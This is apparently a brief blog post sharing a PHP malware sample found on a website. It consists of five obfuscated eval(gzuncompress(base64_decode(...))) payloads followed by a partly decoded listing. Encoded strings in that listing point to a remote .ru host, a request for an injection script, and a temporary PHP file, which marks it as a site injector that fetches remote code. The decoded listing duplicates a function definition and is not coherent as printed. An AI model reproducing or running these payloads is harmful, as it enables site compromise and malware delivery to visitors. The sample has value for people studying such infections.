New year, new viruses :)

<?php eval(gzuncompress(base64_decode('eF6NU00PwUAU/CsOkiURqcZXIz3UgYtElIMSaYqeqpFw4tfbeW+7Ft3WZVftm515M2+b88VyGizWexGPBuN+z3FHXiwOfnC7JY/WMbmnw358Tk/Xc9oSUT4Tja547jaRs3XDS+Ti08t2K+y+L9qdX4SqRkV4wRphcYEqReA0nxkcXoa/ZDWR1HKgSirzsDMSSwUax8SHH6ovRlsUQh3ON7qbTxTzlSplLlIFD8kJ+GhzQzNITo0CotrDXPekOegmlZfhSplKToCSZk7COlg5dWt279xUCtgqe9NeFhNF1bakSZnRG/UTFolX5SXdZv2EqPWvmPPfzmu8+5rc8gmiW40+TGfp/j9mXb0lyoLtsrwOI01+t58OKD45B+3JC9ZmFjs='))); ?><?php eval(gzuncompress(base64_decode('eF7tVE1vm0AQ/Ss5WLIt9QDYREGRD7FswKRAwLsLbFVFwJIYWLDjj9im6n/vsoBdRZFa9dzTzM7sm3nzZuHlUMb7dF3ePI/vpNGdosjyoJcOf/TCycN2G54Hfb+an8zMFKxZfDYBful/6QcoFmP1tQLFccKOeD5XnpxJ7Xqv3ES5LHnAEJhLCktnBpWQ5ws5Tzw1gO29hwZVCLVBJQ7xkUeeAI94hZhHmrsA7bFFQbkKMrO+0DIIhNVj3VZdn2zfxZ5qvAUNIadBfqAH6KiuTuOaYZdrSNgNjogbnxlrxoPXycyGQqJjjCtBacjLpGHdTo8qp060ubpYm2b9umaZMSaUlt2c7WBXXldSl+JXNK885tLreW0CtFpGjZZXOUHJJQoyy25zWGV7k1Tf8hecbk52CVtPoq0oyugukORHtq5DqzaAl7XWZfJYDikNYDlNzcwdgWKDiWcdUCMwzKYegnRm+1Ya+ZbEnwg8HZxCyRzBMFCOlxCebl0fWRBMv9YQIZaTwp1HEkndir55bIhYW5wtndisk8joIJBbnUYQLGTiGXtUbHJXOklBsXnH4vzMVpGZFNmOFB+XjdBLYOSErs+2ppihpxzZosVIMzagnGak2xqbVXN10ydmlBvvgXAZFutx95y5mH9zcSldML/B/+h+8m39D3V/mX9UYni/TfaHbXkThbvkdvxMknhNkkEv/NZLvw/vf/4CKItzEg=='))); ?><?php eval(gzuncompress(base64_decode('eF59U7sKAkEQ+xULwVsQuXnd7iIW2tgIFpZyHP6CnX+vjWACTjnsJrtJJuvz5Xo6Xm73xZta6z1iGMt8OD6fj9ew/p5ulhrNZdTal818H+fh576U1e5n1FK2/4ACQEOg4xg4TgmtAm1FYEuABsCOQBlploTJ0ZLMhMCr5IKQDRLJqxNSTfRhckIanfeEugK1khfKoSstgSXUDalJsFLwSqq0JtQdqUmwUsJGqixLWHDrjRQb5Wie9YCKQJKNJBsFadlOC7bBspAFC+Dkh1PKnnYbK+Dc7tQP7ISTH05+OPnhqR9YEqcdCNIcpDlSzdiS+Gx92b8BKdEyTA=='))); ?><?php eval(gzuncompress(base64_decode('eF5V0DELwjAQhuG/0qHQBBySNLkkFIe6uBQcHEMJKgqCRBpaqIj/XR0sfnAH92wvd5nSabzeU3EbxuG7MQpWHuf5M1Hw5++U6zbnw4NF7VTtvDeGGc1X/zRIQlqkQ3ogCaREKmSNxCrCKsIqwirCKsIqi1VWct7k8zjlVJTbbrdpu32oojVOS6Gsj1UfpOuXZ8qwvLXnzesNQxVdNw=='))); ?><?php eval(gzuncompress(base64_decode('eF6NVGFrwjAQ/Sta/NCMork2bRO6TjcGYyATtk9DpahTlKlT55gg/e+7jDVNJJ1CCy139+7y7r10Gg/d3t1t96WfMe4HXIgwdGOfDPt06C63+618s4y6lHj6LxCSNMaHAz6Zn+oRvwwEqRU9QHQw0QPiceoVgEx9hR7QEi8yGjEtUGumNX2I8J9YhDHboRmO5Q/dYohADYEF3/PFcurWrXUh1gVaHSFHxYycy1oUYRHTi5LcmhdjXmjkWdM4pkUmpTFRB/DVV0ySxcy1QgiEiE0Ibu5cEO1oPAUlAGHsRd8YUKsEOMVm3GwGcKIwHyWW47T1gk1eEgtgxwXEFSe4qC257qz31H29f3wmyexjNx1N5mrTALXRZ63oAj45VnDEpS8AjeGUya3ZbrVfbZqb+cYxHcJ0ukSq1ziKuiqCfj2CJrmoU4hMjfFM7yiiP0+C3XtcihxQ5TrulXOOoMAgiFUTJL0AaIYSnlUTFFURxFrnCZIGAnTQRZ3ikqA8txqNS6OB5jSgnnPdxq0O1gWnMd5ag3X7xrFfIFyaENCFagd4dS3Wk+XX29R11J0gck0xJOnYzMilGQHdWFn2A93EwLQ='))); ?>

the decoded code:

<?php function _482389955($i) {
    $a = Array('XzExMjM0NDcyMTZf', 'YVc1cFgzTmw=', 'ZEE9PQ==', 'Wg==', 'bk52WTJ0', 'dmNH', 'VnU=', 'Wm5keWFYUg==', 'bA==', 'Wm0=', 'VnZaZw==', 'PT0=', 'Wm1kbGRITT0=', 'Wg==', 'bU5zYjM=', 'Tmw=', 'Y0hK', 'bFoxOXRZWFJqYQ==', 'QT0=', 'PQ==', 'Wg==', 'bTl3', 'Wlc0', 'PQ==', 'Wm0=', 'OQ==', 'd1pX', 'ND0=', '', 'Wg==', 'Mg==', 'eHZZZz09', 'Wm05dw==', 'Wg==', 'VzQ9', '', 'Wm05', 'dw==', 'Wlc0PQ==', 'WjJ4dllnPT0=', 'Wg==', 'bTl3', 'Wlc0PQ==', 'Wm05dw==', 'Wlc0PQ==', '', 'Wm4=', 'ZHk=', 'YVhSbA==', '', 'Wm0=', 'TnM=', 'YjNObA==', 'ZFc1c2FXNXI=', 'WkdsemNHeGhlVjlsY25KdmNuTT0=', 'TUE9PQ==', '', 'Ykc5allYUnBiMjR3TmpZdWNuVT0=', 'UjBWVUlDOXNibXN2YVc1cUxuQm9jQ0JJVkZSUUx6RXVNUTBL', 'U0c5emREb2diRzlqWVhScGIyNHdOall1Y25VTkNnPT0=', 'UTI5dWJtVmpkR2x2YmpvZ1EyeHZjMlVOQ2cwSw==', 'STJkdloyOG9MaW9wWlc1bGJpTnBjdz09', 'Wm5KdGRHMXdMbkJvY0E9PQ==', 'ZHc9PQ==', '', 'Wm5KdGRHMXdMbkJvY0E9PQ==', 'ZHc9PQ==', 'S2c9PQ==', 'ZHc9PQ==', 'ZHc9PQ==', 'ZHc9PQ==', 'ZHc9PQ==', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf');
    return base64_decode($a[$i]);
}
$GLOBALS['_758410279_'] = Array(base64_decode('YmF' . 'zZTY0X2RlY2' . '9kZQ' . '=='), base64_decode('YmFzZTY0X2' . 'Rl' . 'Y' . '29kZQ=='), base64_decode('Y' . 'mFzZTY0X2RlY29k' . 'ZQ=' . '='), base64_decode('YmFzZTY0X2' . 'R' . 'lY29' . 'k' . 'Z' . 'Q=' . '='), base64_decode('Ym' . 'FzZTY' . '0X2RlY29' . 'kZQ=='), base64_decode('YmFzZ' . 'T' . 'Y' . '0X2RlY29' . 'kZ' . 'Q=='), base64_decode('Ym' . 'Fz' . 'ZTY0X' . '2RlY29kZQ=='), base64_decode('' . 'Y' . 'mFz' . 'ZTY0X2RlY' . '29kZQ=='), base64_decode('Ym' . 'FzZTY0X' . '2Rl' . 'Y2' . '9k' . 'Z' . 'Q=='), base64_decode('Y' . 'mF' . 'z' . 'ZT' . 'Y0' . 'X2RlY29kZQ=='), base64_decode('YmFzZTY0X2R' . 'lY2' . '9kZQ=='), base64_decode('' . 'YmFzZ' . 'TY0X2RlY29kZQ=' . '='), base64_decode('Y' . 'm' . 'FzZTY0X2' . 'R' . 'lY29kZQ=='), base64_decode('YmFzZTY0' . 'X2' . 'RlY' . '29kZQ=='), base64_decode('YmF' . 'zZT' . 'Y0' . 'X2RlY29k' . 'Z' . 'Q=='), base64_decode('YmFzZTY0X2RlY29kZQ=='), base64_decode('' . 'Ym' . 'FzZTY0' . 'X2RlY29k' . 'ZQ=' . '='), base64_decode('YmFzZTY0X2Rl' . 'Y29kZQ' . '=' . '='), base64_decode('Y' . 'mF' . 'zZTY0X2' . 'RlY' . '29k' . 'ZQ=='));
function _482389955($i) {
    $a = Array('XzExMjM0NDcyMTZf', 'YVc1cFgzTmw=', 'ZEE9PQ==', 'Wg==', 'bk52WTJ0', 'dmNH', 'VnU=', 'Wm5keWFYUg==', 'bA==', 'Wm0=', 'VnZaZw==', 'PT0=', 'Wm1kbGRITT0=', 'Wg==', 'bU5zYjM=', 'Tmw=', 'Y0hK', 'bFoxOXRZWFJqYQ==', 'QT0=', 'PQ==', 'Wg==', 'bTl3', 'Wlc0', 'PQ==', 'Wm0=', 'OQ==', 'd1pX', 'ND0=', '', 'Wg==', 'Mg==', 'eHZZZz09', 'Wm05dw==', 'Wg==', 'VzQ9', '', 'Wm05', 'dw==', 'Wlc0PQ==', 'WjJ4dllnPT0=', 'Wg==', 'bTl3', 'Wlc0PQ==', 'Wm05dw==', 'Wlc0PQ==', '', 'Wm4=', 'ZHk=', 'YVhSbA==', '', 'Wm0=', 'TnM=', 'YjNObA==', 'ZFc1c2FXNXI=', 'WkdsemNHeGhlVjlsY25KdmNuTT0=', 'TUE9PQ==', '', 'Ykc5allYUnBiMjR3TmpZdWNuVT0=', 'UjBWVUlDOXNibXN2YVc1cUxuQm9jQ0JJVkZSUUx6RXVNUTBL', 'U0c5emREb2diRzlqWVhScGIyNHdOall1Y25VTkNnPT0=', 'UTI5dWJtVmpkR2x2YmpvZ1EyeHZjMlVOQ2cwSw==', 'STJkdloyOG9MaW9wWlc1bGJpTnBjdz09', 'Wm5KdGRHMXdMbkJvY0E9PQ==', 'ZHc9PQ==', '', 'Wm5KdGRHMXdMbkJvY0E9PQ==', 'ZHc9PQ==', 'S2c9PQ==', 'ZHc9PQ==', 'ZHc9PQ==', 'ZHc9PQ==', 'ZHc9PQ==', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf', 'XzExMjM0NDcyMTZf');
    return base64_decode($a[$i]);
}
$GLOBALS[_482389955(0) ] = Array($GLOBALS['_758410279_'][0](_482389955(1) . _482389955(2)), $GLOBALS['_758410279_'][1](_482389955(3) . _482389955(4) . _482389955(5) . _482389955(6)), $GLOBALS['_758410279_'][2](_482389955(7) . _482389955(8)), $GLOBALS['_758410279_'][3](_482389955(9) . _482389955(10) . _482389955(11)), $GLOBALS['_758410279_'][4](_482389955(12)), $GLOBALS['_758410279_'][5](_482389955(13) . _482389955(14) . _482389955(15)), $GLOBALS['_758410279_'][6](_482389955(16) . _482389955(17) . _482389955(18) . _482389955(19)), $GLOBALS['_758410279_'][7](_482389955(20) . _482389955(21) . _482389955(22) . _482389955(23)), $GLOBALS['_758410279_'][8](_482389955(24) . _482389955(25) . _482389955(26) . _482389955(27)), $GLOBALS['_758410279_'][9](_482389955(28) . _482389955(29) . _482389955(30) . _482389955(31)), $GLOBALS['_758410279_'][10](_482389955(32) . _482389955(33) . _482389955(34)), $GLOBALS['_758410279_'][11](_482389955(35) . _482389955(36) . _482389955(37) . _482389955(38)), $GLOBALS['_758410279_'][12](_482389955(39)), $GLOBALS['_758410279_'][13](_482389955(40) . _482389955(41) . _482389955(42)), $GLOBALS['_758410279_'][14](_482389955(43) . _482389955(44)), $GLOBALS['_758410279_'][15](_482389955(45) . _482389955(46) . _482389955(47) . _482389955(48)), $GLOBALS['_758410279_'][16](_482389955(49) . _482389955(50) . _482389955(51) . _482389955(52)), $GLOBALS['_758410279_'][17](_482389955(53)));

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.